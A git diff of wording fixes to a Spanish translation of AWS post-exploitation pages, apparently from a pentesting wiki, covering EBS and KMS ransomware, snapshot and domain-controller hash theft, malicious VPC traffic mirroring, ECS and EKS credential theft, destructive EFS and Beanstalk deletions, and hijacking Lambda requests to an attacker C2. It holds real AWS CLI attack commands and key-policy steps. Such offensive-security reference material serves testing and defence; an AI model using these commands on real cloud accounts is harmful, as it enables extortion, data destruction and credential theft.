@@ -137,9 +137,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Una prueba de concepto similar a la demostración de Ransomware presentada en las notas de post-explotación de S3. KMS debería ser renombrado a RMS por Ransomware Management Service con lo fácil que es usarlo para cifrar varios servicios de AWS.
|
||||
Una prueba de concepto similar a la demostración de Ransomware presentada en las notas de post-explotación de S3. KMS debería renombrarse a RMS por Ransomware Management Service debido a lo fácil que es usarlo para cifrar varios servicios de AWS.
|
||||
|
||||
Primero, desde una cuenta de AWS del 'atacante', crea una clave administrada por el cliente en KMS. Para este ejemplo, solo dejaremos que AWS administre los datos de la clave por mí, pero en un escenario realista, un actor malicioso retendría los datos de la clave fuera del control de AWS. Cambia la política de la clave para permitir que cualquier Principal de cuenta de AWS use la clave. Para esta política de clave, el nombre de la cuenta era 'AttackSim' y la regla de política que permite todo el acceso se llama 'Outside Encryption'
|
||||
Primero, desde una cuenta de AWS del 'atacante', crea una clave administrada por el cliente en KMS. Para este ejemplo, solo haremos que AWS administre los datos de la clave por mí, pero en un escenario realista, un actor malicioso retendría los datos de la clave fuera del control de AWS. Cambia la política de la clave para permitir que cualquier Principal de cuenta de AWS use la clave. Para esta política de clave, el nombre de la cuenta era 'AttackSim' y la regla de política que permite todo el acceso se llama 'Outside Encryption'
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -239,21 +239,21 @@ La regla de la política de clave necesita que se habiliten lo siguiente para pe
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Ahora con la clave accesible públicamente para usar. Podemos usar una cuenta de 'víctima' que tenga algunas instancias EC2 activas con volúmenes EBS sin cifrar adjuntos. Los volúmenes EBS de esta cuenta de 'víctima' son nuestro objetivo para el cifrado, este ataque se realiza bajo la suposición de una violación de una cuenta de AWS de alto privilegio.
|
||||
Ahora con la clave accesible públicamente para usar. Podemos utilizar una cuenta de 'víctima' que tenga algunas instancias EC2 activas con volúmenes EBS no cifrados adjuntos. Los volúmenes EBS de esta cuenta de 'víctima' son nuestro objetivo para el cifrado, este ataque se realiza bajo la suposición de una violación de una cuenta de AWS de alto privilegio.
|
||||
|
||||
 
|
||||
|
||||
Similar al ejemplo de ransomware de S3. Este ataque creará copias de los volúmenes EBS adjuntos utilizando instantáneas, usará la clave disponible públicamente de la cuenta de 'atacante' para cifrar los nuevos volúmenes EBS, luego separará los volúmenes EBS originales de las instancias EC2 y los eliminará, y finalmente eliminará las instantáneas utilizadas para crear los nuevos volúmenes EBS cifrados. 
|
||||
Similar al ejemplo de ransomware de S3. Este ataque creará copias de los volúmenes EBS adjuntos utilizando instantáneas, usará la clave disponible públicamente de la cuenta del 'atacante' para cifrar los nuevos volúmenes EBS, luego separará los volúmenes EBS originales de las instancias EC2 y los eliminará, y finalmente eliminará las instantáneas utilizadas para crear los nuevos volúmenes EBS cifrados. 
|
||||
|
||||
Esto resulta en que solo queden volúmenes EBS cifrados disponibles en la cuenta.
|
||||
|
||||

|
||||
|
||||
También vale la pena mencionar que el script detuvo las instancias EC2 para separar y eliminar los volúmenes EBS originales. Los volúmenes originales sin cifrar ya no están.
|
||||
También vale la pena mencionar que el script detuvo las instancias EC2 para separar y eliminar los volúmenes EBS originales. Los volúmenes originales no cifrados ya no están.
|
||||
|
||||

|
||||
|
||||
A continuación, regrese a la política de clave en la cuenta de 'atacante' y elimine la regla de política 'Cifrado Externo' de la política de clave.
|
||||
A continuación, regrese a la política de clave en la cuenta del 'atacante' y elimine la regla de política 'Outside Encryption' de la política de clave.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -324,7 +324,7 @@ A continuación, regrese a la política de clave en la cuenta de 'atacante' y el
|
||||
]
|
||||
}
|
||||
```
|
||||
Espera un momento para que la nueva política de claves se propague. Luego regresa a la cuenta de 'la víctima' e intenta adjuntar uno de los volúmenes EBS recién cifrados. Descubrirás que puedes adjuntar el volumen.
|
||||
Espera un momento para que la nueva política de claves se propague. Luego regresa a la cuenta de 'víctima' e intenta adjuntar uno de los volúmenes EBS recién cifrados. Descubrirás que puedes adjuntar el volumen.
|
||||
|
||||
 
|
||||
|
||||
@@ -332,7 +332,7 @@ Pero cuando intentes reiniciar la instancia EC2 con el volumen EBS cifrado, simp
|
||||
|
||||
 
|
||||
|
||||
Este es el script de python utilizado. Toma credenciales de AWS para una cuenta de 'la víctima' y un valor ARN de AWS disponible públicamente para la clave que se utilizará para el cifrado. El script hará copias cifradas de TODOS los volúmenes EBS disponibles adjuntos a TODAS las instancias EC2 en la cuenta de AWS objetivo, luego detendrá cada instancia EC2, desacoplará los volúmenes EBS originales, los eliminará y finalmente eliminará todos los snapshots utilizados durante el proceso. Esto dejará solo volúmenes EBS cifrados en la cuenta de 'la víctima' objetivo. SOLO UTILIZA ESTE SCRIPT EN UN ENTORNO DE PRUEBA, ES DESTRUCTIVO Y ELIMINARÁ TODOS LOS VOLUMENES EBS ORIGINALES. Puedes recuperarlos usando la clave KMS utilizada y restaurarlos a su estado original a través de snapshots, pero solo quiero hacerte consciente de que esto es una prueba de concepto de ransomware al final del día.
|
||||
Este es el script de python utilizado. Toma credenciales de AWS para una cuenta de 'víctima' y un valor ARN de AWS disponible públicamente para la clave que se utilizará para el cifrado. El script hará copias cifradas de TODOS los volúmenes EBS disponibles adjuntos a TODAS las instancias EC2 en la cuenta de AWS objetivo, luego detendrá cada instancia EC2, separará los volúmenes EBS originales, los eliminará y finalmente eliminará todos los snapshots utilizados durante el proceso. Esto dejará solo volúmenes EBS cifrados en la cuenta de 'víctima' objetivo. SOLO UTILIZA ESTE SCRIPT EN UN ENTORNO DE PRUEBA, ES DESTRUCTIVO Y ELIMINARÁ TODOS LOS VOLUMENES EBS ORIGINALES. Puedes recuperarlos usando la clave KMS utilizada y restaurarlos a su estado original a través de snapshots, pero solo quiero hacerte consciente de que esto es una prueba de concepto de ransomware al final del día.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
|
||||
+4
-4
@@ -32,7 +32,7 @@ make docker/build
|
||||
IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded
|
||||
```
|
||||
> [!CAUTION]
|
||||
> **Nota** que `dsnap` no te permitirá descargar instantáneas públicas. Para eludir esto, puedes hacer una copia de la instantánea en tu cuenta personal y descargar esa:
|
||||
> **Nota** que `dsnap` no te permitirá descargar instantáneas públicas. Para eludir esto, puedes hacer una copia de la instantánea en tu cuenta personal y descargar eso:
|
||||
```bash
|
||||
# Copy the snapshot
|
||||
aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"
|
||||
@@ -54,7 +54,7 @@ Puedes hacer esto con Pacu usando el módulo [ebs\_\_download_snapshots](https:/
|
||||
```bash
|
||||
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
|
||||
```
|
||||
**Montarlo en una VM de EC2 bajo tu control** (tiene que estar en la misma región que la copia de la copia de seguridad):
|
||||
**Móntalo en una VM de EC2 bajo tu control** (debe estar en la misma región que la copia de la copia de seguridad):
|
||||
|
||||
Paso 1: Se debe crear un nuevo volumen de tu tamaño y tipo preferido dirigiéndote a EC2 –> Volúmenes.
|
||||
|
||||
@@ -77,7 +77,7 @@ Paso 5: Verifica si el volumen tiene datos usando el comando `sudo file -s /dev/
|
||||
|
||||
Si la salida del comando anterior muestra "/dev/xvdf: data", significa que el volumen está vacío.
|
||||
|
||||
Paso 6: Formatea el volumen al sistema de archivos ext4 usando el comando `sudo mkfs -t ext4 /dev/xvdf`. Alternativamente, también puedes usar el formato xfs usando el comando `sudo mkfs -t xfs /dev/xvdf`. Ten en cuenta que debes usar ya sea ext4 o xfs.
|
||||
Paso 6: Formatea el volumen al sistema de archivos ext4 usando el comando `sudo mkfs -t ext4 /dev/xvdf`. Alternativamente, también puedes usar el formato xfs usando el comando `sudo mkfs -t xfs /dev/xvdf`. Ten en cuenta que debes usar ext4 o xfs.
|
||||
|
||||
Paso 7: Crea un directorio de tu elección para montar el nuevo volumen ext4. Por ejemplo, puedes usar el nombre "newvolume".
|
||||
|
||||
@@ -122,7 +122,7 @@ ls /mnt
|
||||
```
|
||||
## Shadow Copy
|
||||
|
||||
Cualquier usuario de AWS que posea el **`EC2:CreateSnapshot`** permiso puede robar los hashes de todos los usuarios del dominio creando un **snapshot del Controlador de Dominio**, montándolo en una instancia que controlan y **exportando el NTDS.dit y el archivo del registro SYSTEM** para su uso con el proyecto secretsdump de Impacket.
|
||||
Cualquier usuario de AWS que posea el permiso **`EC2:CreateSnapshot`** puede robar los hashes de todos los usuarios del dominio creando un **snapshot del Controlador de Dominio**, montándolo en una instancia que controlan y **exportando el archivo NTDS.dit y el registro SYSTEM** para su uso con el proyecto secretsdump de Impacket.
|
||||
|
||||
Puedes usar esta herramienta para automatizar el ataque: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) o podrías usar una de las técnicas anteriores después de crear un snapshot.
|
||||
|
||||
|
||||
+4
-4
@@ -1,14 +1,14 @@
|
||||
# AWS - Malicious VPC Mirror
|
||||
# AWS - Espejo VPC Malicioso
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!**
|
||||
**Consulta** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **para más detalles del ataque!**
|
||||
|
||||
La inspección pasiva de redes en un entorno de nube ha sido **desafiante**, requiriendo cambios de configuración importantes para monitorear el tráfico de red. Sin embargo, se ha introducido una nueva característica llamada “**VPC Traffic Mirroring**” por AWS para simplificar este proceso. Con VPC Traffic Mirroring, el tráfico de red dentro de las VPC puede ser **duplicado** sin instalar ningún software en las instancias mismas. Este tráfico duplicado puede ser enviado a un sistema de detección de intrusiones en la red (IDS) para **análisis**.
|
||||
|
||||
Para abordar la necesidad de **despliegue automatizado** de la infraestructura necesaria para la duplicación y exfiltración del tráfico de VPC, hemos desarrollado un script de prueba de concepto llamado “**malmirror**”. Este script puede ser utilizado con **credenciales de AWS comprometidas** para configurar la duplicación para todas las instancias EC2 soportadas en una VPC objetivo. Es importante notar que VPC Traffic Mirroring solo es soportado por instancias EC2 alimentadas por el sistema AWS Nitro, y el objetivo del espejo VPC debe estar dentro de la misma VPC que los hosts duplicados.
|
||||
Para abordar la necesidad de **despliegue automatizado** de la infraestructura necesaria para duplicar y exfiltrar el tráfico de VPC, hemos desarrollado un script de prueba de concepto llamado “**malmirror**”. Este script puede ser utilizado con **credenciales de AWS comprometidas** para configurar la duplicación para todas las instancias EC2 soportadas en una VPC objetivo. Es importante notar que VPC Traffic Mirroring solo es soportado por instancias EC2 alimentadas por el sistema AWS Nitro, y el objetivo del espejo VPC debe estar dentro de la misma VPC que los hosts duplicados.
|
||||
|
||||
El **impacto** de la duplicación maliciosa del tráfico de VPC puede ser significativo, ya que permite a los atacantes acceder a **información sensible** transmitida dentro de las VPC. La **probabilidad** de tal duplicación maliciosa es alta, considerando la presencia de **tráfico en texto claro** fluyendo a través de las VPC. Muchas empresas utilizan protocolos en texto claro dentro de sus redes internas por **razones de rendimiento**, asumiendo que los ataques tradicionales de hombre en el medio no son posibles.
|
||||
El **impacto** de la duplicación maliciosa del tráfico VPC puede ser significativo, ya que permite a los atacantes acceder a **información sensible** transmitida dentro de las VPC. La **probabilidad** de tal duplicación maliciosa es alta, considerando la presencia de **tráfico en texto claro** fluyendo a través de las VPC. Muchas empresas utilizan protocolos en texto claro dentro de sus redes internas por **razones de rendimiento**, asumiendo que los ataques tradicionales de hombre en el medio no son posibles.
|
||||
|
||||
Para más información y acceso al [**script malmirror**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), se puede encontrar en nuestro **repositorio de GitHub**. El script automatiza y agiliza el proceso, haciéndolo **rápido, simple y repetible** para fines de investigación ofensiva.
|
||||
|
||||
|
||||
+5
-5
@@ -12,8 +12,8 @@ Para más información, consulta:
|
||||
|
||||
### Roles IAM de Host
|
||||
|
||||
En ECS, un **rol IAM puede ser asignado a la tarea** que se ejecuta dentro del contenedor. **Si** la tarea se ejecuta dentro de una **instancia EC2**, la **instancia EC2** tendrá **otro rol IAM** adjunto.\
|
||||
Lo que significa que si logras **comprometer** una instancia ECS, puedes potencialmente **obtener el rol IAM asociado al ECR y a la instancia EC2**. Para más información sobre cómo obtener esas credenciales, consulta:
|
||||
En ECS, un **rol IAM puede ser asignado a la tarea** que se ejecuta dentro del contenedor. **Si** la tarea se ejecuta dentro de una **instancia EC2**, la **instancia EC2** tendrá un **rol IAM** diferente adjunto.\
|
||||
Lo que significa que si logras **comprometer** una instancia ECS, potencialmente puedes **obtener el rol IAM asociado al ECR y a la instancia EC2**. Para más información sobre cómo obtener esas credenciales, consulta:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
@@ -22,13 +22,13 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
|
||||
> [!CAUTION]
|
||||
> Ten en cuenta que si la instancia EC2 está aplicando IMDSv2, [**según la documentación**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **respuesta de la solicitud PUT** tendrá un **límite de salto de 1**, lo que hace imposible acceder a los metadatos de EC2 desde un contenedor dentro de la instancia EC2.
|
||||
|
||||
### Privesc al nodo para robar credenciales y secretos de otros contenedores
|
||||
### Privesc a nodo para robar credenciales y secretos de otros contenedores
|
||||
|
||||
Además, EC2 utiliza Docker para ejecutar tareas de ECS, así que si puedes escapar al nodo o **acceder al socket de Docker**, puedes **verificar** qué **otros contenedores** se están ejecutando, e incluso **entrar en ellos** y **robar sus roles IAM** adjuntos.
|
||||
Además, EC2 utiliza docker para ejecutar tareas de ECS, así que si puedes escapar al nodo o **acceder al socket de docker**, puedes **verificar** qué **otros contenedores** se están ejecutando, e incluso **entrar en ellos** y **robar sus roles IAM** adjuntos.
|
||||
|
||||
#### Haciendo que los contenedores se ejecuten en el host actual
|
||||
|
||||
Además, el **rol de la instancia EC2** generalmente tendrá suficientes **permisos** para **actualizar el estado de la instancia del contenedor** de las instancias EC2 que se utilizan como nodos dentro del clúster. Un atacante podría modificar el **estado de una instancia a DRAINING**, entonces ECS **eliminará todas las tareas de ella** y las que se están ejecutando como **REPLICA** se **ejecutarán en una instancia diferente,** potencialmente dentro de la **instancia del atacante** para que pueda **robar sus roles IAM** y potencial información sensible desde dentro del contenedor.
|
||||
Además, el **rol de la instancia EC2** generalmente tendrá suficientes **permisos** para **actualizar el estado de la instancia del contenedor** de las instancias EC2 que se utilizan como nodos dentro del clúster. Un atacante podría modificar el **estado de una instancia a DRAINING**, luego ECS **eliminará todas las tareas de ella** y las que se están ejecutando como **REPLICA** se **ejecutarán en una instancia diferente,** potencialmente dentro de la **instancia del atacante**, para que pueda **robar sus roles IAM** y potencial información sensible desde dentro del contenedor.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
|
||||
+1
-1
@@ -20,7 +20,7 @@ aws efs delete-mount-target --mount-target-id <value>
|
||||
|
||||
### `elasticfilesystem:DeleteFileSystem`
|
||||
|
||||
Un atacante podría eliminar un sistema de archivos EFS completo, lo que podría llevar a la pérdida de datos e impactar aplicaciones que dependen del sistema de archivos.
|
||||
Un atacante podría eliminar un sistema de archivos EFS completo, lo que podría llevar a la pérdida de datos e impactar a las aplicaciones que dependen del sistema de archivos.
|
||||
```perl
|
||||
aws efs delete-file-system --file-system-id <value>
|
||||
```
|
||||
|
||||
+7
-7
@@ -12,7 +12,7 @@ Para más información, consulta
|
||||
|
||||
### Enumerar el clúster desde la consola de AWS
|
||||
|
||||
Si tienes el permiso **`eks:AccessKubernetesApi`** puedes **ver objetos de Kubernetes** a través de la consola de AWS EKS ([Aprende más](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
|
||||
Si tienes el permiso **`eks:AccessKubernetesApi`** puedes **ver objetos de Kubernetes** a través de la consola de AWS EKS ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
|
||||
|
||||
### Conectar al clúster de Kubernetes de AWS
|
||||
|
||||
@@ -25,7 +25,7 @@ aws eks update-kubeconfig --name aws-eks-dev
|
||||
|
||||
Si puedes **obtener un token** con **`aws eks get-token --name <cluster_name>`** pero no tienes permisos para obtener información del clúster (describeCluster), podrías **preparar tu propio `~/.kube/config`**. Sin embargo, teniendo el token, aún necesitas la **url del endpoint para conectarte** (si lograste obtener un token JWT de un pod lee [aquí](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) y el **nombre del clúster**.
|
||||
|
||||
En mi caso, no encontré la información en los registros de CloudWatch, pero **la encontré en LaunchTemplates userData** y en **máquinas EC2 en userData también**. Puedes ver esta información en **userData** fácilmente, por ejemplo en el siguiente ejemplo (el nombre del clúster era cluster-name):
|
||||
En mi caso, no encontré la información en los logs de CloudWatch, pero **la encontré en LaunchTemplates userData** y en **máquinas EC2 en userData también**. Puedes ver esta información en **userData** fácilmente, por ejemplo en el siguiente ejemplo (el nombre del clúster era cluster-name):
|
||||
```bash
|
||||
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
|
||||
|
||||
@@ -72,7 +72,7 @@ provideClusterInfo: false
|
||||
|
||||
### De AWS a Kubernetes
|
||||
|
||||
El **creador** del **clúster EKS** **SIEMPRE** podrá acceder a la parte del clúster de kubernetes del grupo **`system:masters`** (admin de k8s). En el momento de escribir esto, **no hay forma directa** de encontrar **quién creó** el clúster (puedes verificar CloudTrail). Y **no hay forma** de **eliminar** ese **privilegio**.
|
||||
El **creador** del **clúster EKS** **SIEMPRE** podrá acceder a la parte del clúster de kubernetes del grupo **`system:masters`** (admin de k8s). En el momento de escribir esto, **no hay una forma directa** de encontrar **quién creó** el clúster (puedes verificar CloudTrail). Y **no hay forma** de **eliminar** ese **privilegio**.
|
||||
|
||||
La forma de otorgar **acceso a más usuarios o roles de AWS IAM sobre K8s** es utilizando el **configmap** **`aws-auth`**.
|
||||
|
||||
@@ -114,7 +114,7 @@ for comb in product(letter_combinations, number_combinations)
|
||||
with open('out.txt', 'w') as f:
|
||||
f.write('\n'.join(result))
|
||||
```
|
||||
Entonces con wfuzz
|
||||
Luego con wfuzz
|
||||
```bash
|
||||
wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
|
||||
```
|
||||
@@ -133,11 +133,11 @@ Ten en cuenta que el **clúster EKS podría tener registros habilitados** que re
|
||||
|
||||
Por defecto, el **usuario o rol que creó** un clúster **SIEMPRE tendrá privilegios de administrador** sobre el clúster. Y ese es el único acceso "seguro" que AWS tendrá sobre el clúster de Kubernetes.
|
||||
|
||||
Así que, si un **atacante compromete un clúster usando fargate** y **elimina a todos los otros administradores** y **elimina el usuario/rol de AWS que creó** el clúster, ~~el atacante podría haber **secuestrado el clúster**~~**r**.
|
||||
Así que, si un **atacante compromete un clúster usando fargate** y **elimina a todos los otros administradores** y **elimina el usuario/rol de AWS que creó** el clúster, ~~el atacante podría haber **secuestrado el clúster**~~.
|
||||
|
||||
> [!TIP]
|
||||
> Ten en cuenta que si el clúster estaba usando **EC2 VMs**, podría ser posible obtener privilegios de administrador desde el **Nodo** y recuperar el clúster.
|
||||
> Ten en cuenta que si el clúster estaba usando **EC2 VMs**, podría ser posible obtener privilegios de administrador desde el **Node** y recuperar el clúster.
|
||||
>
|
||||
> De hecho, si el clúster está usando Fargate, podrías EC2 nodos o mover todo a EC2 al clúster y recuperarlo accediendo a los tokens en el nodo.
|
||||
> De hecho, si el clúster está usando Fargate, podrías EC2 nodes o mover todo a EC2 al clúster y recuperarlo accediendo a los tokens en el nodo.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+2
-2
@@ -15,11 +15,11 @@ Para más información:
|
||||
> [!NOTE]
|
||||
> TODO: Probar si se requieren más permisos para esto
|
||||
|
||||
Un atacante con el permiso `elasticbeanstalk:DeleteApplicationVersion` puede **eliminar una versión de aplicación existente**. Esta acción podría interrumpir los pipelines de despliegue de aplicaciones o causar la pérdida de versiones específicas de la aplicación si no se respaldan.
|
||||
Un atacante con el permiso `elasticbeanstalk:DeleteApplicationVersion` puede **eliminar una versión de aplicación existente**. Esta acción podría interrumpir las canalizaciones de implementación de aplicaciones o causar la pérdida de versiones específicas de la aplicación si no se respaldan.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
|
||||
```
|
||||
**Impacto Potencial**: Disrupción del despliegue de aplicaciones y posible pérdida de versiones de aplicaciones.
|
||||
**Impacto Potencial**: Disrupción del despliegue de la aplicación y posible pérdida de versiones de la aplicación.
|
||||
|
||||
### `elasticbeanstalk:TerminateEnvironment`
|
||||
|
||||
|
||||
+2
-2
@@ -43,7 +43,7 @@ Ejemplo:
|
||||
|
||||
### Confianzas inesperadas
|
||||
|
||||
#### Comodín como principal
|
||||
#### Wildcard como principal
|
||||
```json
|
||||
{
|
||||
"Action": "sts:AssumeRole",
|
||||
@@ -73,7 +73,7 @@ Esta política **permite a cualquier cuenta** configurar su apigateway para llam
|
||||
}
|
||||
}
|
||||
```
|
||||
Si un bucket de S3 se da como principal, debido a que los buckets de S3 no tienen un ID de cuenta, si **eliminaste tu bucket y el atacante lo creó** en su propia cuenta, entonces podrían abusar de esto.
|
||||
Si un bucket de S3 se da como principal, porque los buckets de S3 no tienen un ID de cuenta, si **eliminaste tu bucket y el atacante lo creó** en su propia cuenta, entonces podrían abusar de esto.
|
||||
|
||||
#### No soportado
|
||||
```json
|
||||
|
||||
+4
-4
@@ -4,7 +4,7 @@
|
||||
|
||||
## KMS
|
||||
|
||||
Para más información, consulta:
|
||||
Para más información consulta:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
@@ -20,7 +20,7 @@ Para más información, consulta:
|
||||
> [!TIP]
|
||||
> Ten en cuenta que si deseas descifrar algunos datos dentro de un archivo, el archivo debe contener los datos binarios, no datos codificados en base64. (fileb://)
|
||||
|
||||
- Usando una **clave** simétrica
|
||||
- Usando una clave **simétrica**
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
@@ -60,7 +60,7 @@ aws kms decrypt \
|
||||
```
|
||||
### KMS Ransomware
|
||||
|
||||
Un atacante con acceso privilegiado sobre KMS podría modificar la política de KMS de las claves y **otorgar acceso a su cuenta sobre ellas**, eliminando el acceso otorgado a la cuenta legítima.
|
||||
Un atacante con acceso privilegiado sobre KMS podría modificar la política de KMS de las claves y **otorgar a su cuenta acceso sobre ellas**, eliminando el acceso otorgado a la cuenta legítima.
|
||||
|
||||
Entonces, los usuarios de la cuenta legítima no podrán acceder a ninguna información de ningún servicio que haya sido cifrado con esas claves, creando un ransomware fácil pero efectivo sobre la cuenta.
|
||||
|
||||
@@ -102,7 +102,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
|
||||
Hay otra forma de realizar un ransomware KMS global, que implicaría los siguientes pasos:
|
||||
|
||||
- Crear una nueva **clave con un material de clave** importado por el atacante
|
||||
- Crear una **nueva clave con un material de clave** importado por el atacante
|
||||
- **Reencriptar datos antiguos** encriptados con la versión anterior con la nueva.
|
||||
- **Eliminar la clave KMS**
|
||||
- Ahora solo el atacante, que tiene el material de clave original, podría ser capaz de desencriptar los datos encriptados
|
||||
|
||||
+2
-2
@@ -4,7 +4,7 @@
|
||||
|
||||
## Lambda
|
||||
|
||||
Para más información consulta:
|
||||
Para más información, consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
@@ -20,7 +20,7 @@ aws-warm-lambda-persistence.md
|
||||
|
||||
### Robar Solicitudes URL de Lambda de Otros y Solicitudes de Extensiones
|
||||
|
||||
Abusando de Lambda Layers también es posible abusar de extensiones y persistir en el lambda, pero también robar y modificar solicitudes.
|
||||
Abusando de Lambda Layers, también es posible abusar de extensiones y persistir en el lambda, pero también robar y modificar solicitudes.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
|
||||
+5
-5
@@ -9,7 +9,7 @@
|
||||
1. **Slicer** es un proceso fuera del contenedor que **envía** **invocaciones** al proceso **init**.
|
||||
2. El proceso init escucha en el puerto **9001** exponiendo algunos puntos finales interesantes:
|
||||
- **`/2018-06-01/runtime/invocation/next`** – obtener el siguiente evento de invocación
|
||||
- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – devolver la respuesta del manejador para la invocación
|
||||
- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – devolver la respuesta del controlador para la invocación
|
||||
- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – devolver un error de ejecución
|
||||
3. **bootstrap.py** tiene un bucle que obtiene invocaciones del proceso init y llama al código del usuario para manejarlas (**`/next`**).
|
||||
4. Finalmente, **bootstrap.py** envía al init la **respuesta**
|
||||
@@ -18,16 +18,16 @@ Nota que bootstrap carga el código del usuario como un módulo, por lo que cual
|
||||
|
||||
## Robando Solicitudes de Lambda
|
||||
|
||||
El objetivo de este ataque es hacer que el código del usuario ejecute un proceso **`bootstrap.py`** malicioso dentro del proceso **`bootstrap.py`** que maneja la solicitud vulnerable. De esta manera, el proceso **bootstrap malicioso** comenzará a **comunicarse con el proceso init** para manejar las solicitudes mientras que el bootstrap **legítimo** está **atrapado** ejecutando el malicioso, por lo que no pedirá solicitudes al proceso init.
|
||||
El objetivo de este ataque es hacer que el código del usuario ejecute un proceso **`bootstrap.py`** malicioso dentro del proceso **`bootstrap.py`** que maneja la solicitud vulnerable. De esta manera, el proceso **bootstrap malicioso** comenzará a **comunicarse con el proceso init** para manejar las solicitudes mientras el bootstrap **legítimo** está **atrapado** ejecutando el malicioso, por lo que no pedirá solicitudes al proceso init.
|
||||
|
||||
Esta es una tarea simple de lograr ya que el código del usuario está siendo ejecutado por el legítimo proceso **`bootstrap.py`**. Así que el atacante podría:
|
||||
|
||||
- **Enviar un resultado falso de la invocación actual al proceso init**, para que init piense que el proceso bootstrap está esperando más invocaciones.
|
||||
- Se debe enviar una solicitud a **`/${invoke-id}/response`**
|
||||
- El invoke-id se puede obtener de la pila del legítimo proceso **`bootstrap.py`** utilizando el módulo python [**inspect**](https://docs.python.org/3/library/inspect.html) (como [se propone aquí](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) o simplemente solicitándolo nuevamente a **`/2018-06-01/runtime/invocation/next`** (como [se propone aquí](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
|
||||
- El invoke-id se puede obtener de la pila del legítimo proceso **`bootstrap.py`** usando el módulo python [**inspect**](https://docs.python.org/3/library/inspect.html) (como [se propuso aquí](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) o simplemente solicitándolo nuevamente a **`/2018-06-01/runtime/invocation/next`** (como [se propuso aquí](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
|
||||
- Ejecutar un **`boostrap.py`** malicioso que manejará las siguientes invocaciones.
|
||||
- Por razones de sigilo, es posible enviar los parámetros de las invocaciones de lambda a un C2 controlado por el atacante y luego manejar las solicitudes como de costumbre.
|
||||
- Para este ataque, es suficiente obtener el código original de **`bootstrap.py`** del sistema o de [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), agregar el código malicioso y ejecutarlo desde la invocación lambda actual.
|
||||
- Por razones de sigilo, es posible enviar los parámetros de invocación de lambda a un C2 controlado por el atacante y luego manejar las solicitudes como de costumbre.
|
||||
- Para este ataque, es suficiente obtener el código original de **`bootstrap.py`** del sistema o [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), agregar el código malicioso y ejecutarlo desde la invocación lambda actual.
|
||||
|
||||
### Pasos del Ataque
|
||||
|
||||
|
||||
+2
-2
@@ -17,11 +17,11 @@ Si la DB tiene instantáneas, podrías **encontrar información sensible actualm
|
||||
### Restaurar Instantáneas de Instancia
|
||||
|
||||
Las instantáneas de instancia pueden contener **información sensible** de instancias ya eliminadas o información sensible que se ha eliminado en la instancia actual. **Crea nuevas instancias a partir de las instantáneas** y revísalas.\
|
||||
O **exporta la instantánea a un AMI en EC2** y sigue los pasos de una instancia EC2 típica.
|
||||
O **exporta la instantánea a un AMI en EC2** y sigue los pasos de una instancia típica de EC2.
|
||||
|
||||
### Acceder a Información Sensible
|
||||
|
||||
Consulta las opciones de privesc de Lightsail para aprender diferentes formas de acceder a información sensible potencial:
|
||||
Consulta las opciones de privesc de Lightsail para aprender diferentes formas de acceder a información potencialmente sensible:
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-lightsail-privesc.md
|
||||
|
||||
+2
-2
@@ -1,10 +1,10 @@
|
||||
# AWS - Organizations Post Exploitation
|
||||
# AWS - Organizaciones Post Explotación
|
||||
|
||||
